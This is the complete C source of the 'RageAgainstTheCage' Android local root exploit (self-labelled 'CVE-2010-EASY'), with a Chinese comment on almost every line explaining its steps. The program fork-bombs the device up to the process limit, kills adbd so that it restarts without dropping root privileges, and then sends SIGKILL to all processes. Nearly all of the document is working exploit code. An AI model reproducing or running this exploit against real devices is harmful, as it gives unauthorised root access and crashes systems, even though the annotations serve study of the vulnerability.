regeagainstthecage.c源代码

//头文件包含 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/resource.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <string.h> 
#include <signal.h> 
#include <stdlib.h> 
 
 
//输出错误消息后退出程序 
void die(const char *msg) 
{ 
    perror(msg); 
    exit(errno); 
} 
 
 
//搜索ADB进程，返回其PID，没有找到时返回0 
pid_t find_adb() 
{ 
    char buf[256]; 
    int i = 0, fd = 0; 
    pid_t found = 0;    //初始化为0，如果没有找到adb将一直保持0值 
 
 
    //遍历进程ID的有效范围 
    for (i = 0; i < 32000; ++i)  
    { 
        //拼接字符串"/proc/<PID>/cmdline" 
        sprintf(buf, "/proc/%d/cmdline", i); 
 
 
        //打开失败，进程不存在或无权访问 
        if ((fd = open(buf, O_RDONLY)) < 0) 
        { 
            //跳过这个PID，继续下一轮循环 
            continue; 
        }   //end if 
 
 
        //buf填0 
        memset(buf, 0, sizeof(buf)); 
 
 
        //读取进程的命令行 
        read(fd, buf, sizeof(buf) - 1); 
 
 
        //关闭进程 
        close(fd); 
 
 
        //在命令行中查找"/sbin/adb" 
        if (strstr(buf, "/sbin/adb"))  
        { 
            //找到了"/sbin/adb"则说明找到了adb进程，返回找到的PID 
            found = i; 
            break; 
        }   //end if 
    }   //end for 
 
 
    //返回找到的PID或0值 
    return found; 
} 
 
 
//重启adb进程，参数为当前adb进程的PID 
void restart_adb(pid_t pid) 
{ 
    //直接杀死进程（sig = SIGKILL） 
    kill(pid, 9); 
} 
 
 
//等待具有root权限的adb进程 
//参数为原有adb进程的PID 
void wait_for_root_adb(pid_t old_adb) 
{ 
    pid_t p = 0; 
 
 
    //死循环，只能由里面的break跳出 
    for (;;)  
    { 
        //搜索adb进程 
        p = find_adb(); 
 
 
        //找到了adb进程，并且不是原来那个旧的adb进程 
        if (p != 0 && p != old_adb) 
        { 
            //退出循环 
            break; 
        } 
 
 
        //休息1秒，防止大量占用CPU 
        sleep(1); 
 
 
    }   //end for 
 
 
    //休息5秒，等待新的adb进程初始化完毕 
    sleep(5); 
 
 
    //将SIGKILL广播给系统中的所有进程 
    kill(-1, 9); 
} 
 
 
//程序入口点 
int main(int argc, char **argv) 
{ 
    pid_t adb_pid = 0, p; 
    int pids = 0, new_pids = 1; 
    int pepe[2]; 
    char c = 0; 
    struct rlimit rl; 
 
 
    //启动时显示的版本与版权信息 
    printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n"); 
    printf(" checking NPROC limit ...\n"); 
 
 
    //获取当前进程可以创建的最大子进程数量 
    if (getrlimit(RLIMIT_NPROC, &rl) < 0) 
    { 
        //失败时输出消息退出 
        die("[-] getrlimit"); 
    } 
 
 
    //检查是否有最大子进程数量限制 
    if (rl.rlim_cur == RLIM_INFINITY)  
    { 
        //当没有最大子进程数量限制时，不执行exploit，否则将导致系统崩溃 
        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n"); 
        exit(1); 
    } 
 
 
    //输出最大子进程数量软性限制和硬性限制 
    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max); 
    printf(" Searching for adb ...\n"); 
 
 
    //查找adb进程 
    adb_pid = find_adb(); 
 
 
    //检查是否找到了adb进程 
    if (!adb_pid) 
    { 
        //没有找到时直接退出 
        die("[-] Cannot find adb"); 
    } 
 
 
    //输出adb进程的PID 
    printf("[+] Found adb as PID %d\n", adb_pid); 
 
 
    //输出一大堆废话 
    printf(" Spawning children. Dont type anything and wait for reset!\n"); 
    printf("\n If you like what we are doing you can send us PayPal money to\n" 
           " [e-mail] so we can compensate time, effort and HW costs.\n" 
           " If you are a company and feel like you profit from our work,\n" 
           " we also accept donations > 1000 USD!\n"); 
    printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); 
 
 
    //休息5秒，防止当前的adb进程没有完全初始化 
    sleep(5); 
 
 
    //如果在父进程中（已有子进程） 
    if (fork() > 0) 
    { 
        //退出 
        exit(0); 
    } 
 
 
    //创建一个新的进程组 
    setsid(); 
 
 
    //创建管道 
    pipe(pepe); 
 
 
     
    //如果在子进程中 
    if (fork() == 0)  
    { 
        //关闭输入管道 
        close(pepe[0]); 
 
 
        //死循环，直到满足条件时退出进程 
        for (;;)  
        { 
            //如果是子进程 
            if ((p = fork()) == 0)  
            { 
                //直接退出 
                exit(0); 
            }  
            else if (p < 0)     //创建进程失败，说明已达到进程数最大值 
            { 
                //确保代码只执行一次，防止多个进程反复输出信息 
                if (new_pids)  
                { 
                    printf("\n[+] Forked %d childs.\n", pids); 
                    new_pids = 0; 
                    //在输出管道中写入一个字节，然后关闭管道 
                    //相当于通知顶级父进程fork炸弹完成 
                    write(pepe[1], &c, 1); 
                    close(pepe[1]); 
                } 
            }  
            else  
            { 
                //进程总数+1 
                ++pids; 
            } 
        } 
    } 
 
 
    //关闭输出管道 
    close(pepe[1]); 
 
 
    //从输入管道中读一个字符，用来等待前面创建的子进程到达最大值 
    read(pepe[0], &c, 1); 
 
 
    //重启adb 
    restart_adb(adb_pid); 
 
 
    //在adb重启完以前，再创建一个子进程，占用刚释放出的进程空位 
    if (fork() == 0)  
    { 
        //子进程里继续开子进程，保证进程空位被占满 
        fork(); 
 
 
        //无限休眠，永不退出 
        for (;;) 
        { 
            sleep(0x743C); 
        } 
    } 
 
 
    //等待具有root权限的adb启动 
    wait_for_root_adb(adb_pid); 
 
 
    //执行完毕 
    return 0; 

}